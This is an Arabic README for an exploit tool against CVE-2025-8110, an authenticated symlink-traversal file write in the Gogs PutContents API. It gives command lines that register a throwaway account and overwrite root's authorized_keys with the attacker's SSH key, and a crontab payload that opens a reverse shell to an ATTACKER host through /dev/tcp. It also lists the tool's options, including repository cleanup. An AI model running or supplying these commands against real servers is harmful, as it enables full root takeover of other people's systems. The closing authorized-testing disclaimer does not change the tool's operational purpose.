
CVE-2025-8110 — Gogs <= 0.13.3 كتابة ملف تعسفي عبر اجتياز الرابط الرمزي في واجهة برمجة التطبيقات PutContents
Gogs <= 0.13.3 معرض لثغرة كتابة ملف تعسفي عبر واجهة برمجة التطبيقات PutContents (/api/v1/repos/:owner/:repo/contents/:path).
تتحقق واجهة برمجة التطبيقات من مسارات الملفات بحثًا عن تسلسلات اجتياز الدليل (../) ولكنها لا تحل الارتباطات الرمزية قبل الكتابة. يمكن للمستخدم الموثّق دفع commit يحتوي على ارتباط رمزي يشير إلى أي ملف على الخادم، ثم استدعاء PutContents على ذلك الارتباط الرمزي لاستبدال الملف الهدف بمحتوى يتحكم فيه المهاجم.
عند تشغيل Gogs كمستخدم root (الإعداد الافتراضي في Docker والعديد من التوزيعات)، يؤدي ذلك إلى اختراق كامل للنظام.
| التفاصيل | القيمة |
|---|---|
| CVE | CVE-2025-8110 |
| المتأثر | Gogs <= 0.13.3 |
| النوع | كتابة ملف تعسفي موثّق → تنفيذ تعليمات برمجية عن بُعد (RCE) |
| CVSS | 8.8 (عالية) |
| المكوّن | واجهة برمجة التطبيقات PutContents |
requests (pip install requests)git# تسجيل حساب مؤقت + كتابة مفتاح SSH العام للجذر
python3 CVE-2025-8110.py --url http://target:3001 --register \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# باستخدام بيانات اعتماد موجودة
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# شيل عكسي عبر crontab
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /etc/crontab \
--content '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
# تنظيف مستودع الاستغلال بعد الاستخدام
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub --cleanup
/root/.ssh/authorized_keys)، ثم commit و push.root).--url عنوان URL الأساسي لـ Gogs (مثل http://target:3001)
-u, --user اسم مستخدم Gogs
-p, --password كلمة مرور Gogs
--register تسجيل حساب مؤقت (بدون كابتشا)
--target-file المسار المطلق للملف المراد استبداله على الخادم
--content محتوى نصي للكتابة
--content-file ملف محلي يُقرأ محتواه للكتابة
--repo اسم المستودع المراد إنشاؤه (افتراضي: عشوائي)
--link-name اسم ملف الارتباط الرمزي في المستودع (افتراضي: payload)
--cleanup حذف مستودع الاستغلال بعد الكتابة
هذه الأداة مُقدمة لأغراض الاختبار الأمني المصرح به والتعليم فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. استخدمها بمسؤولية.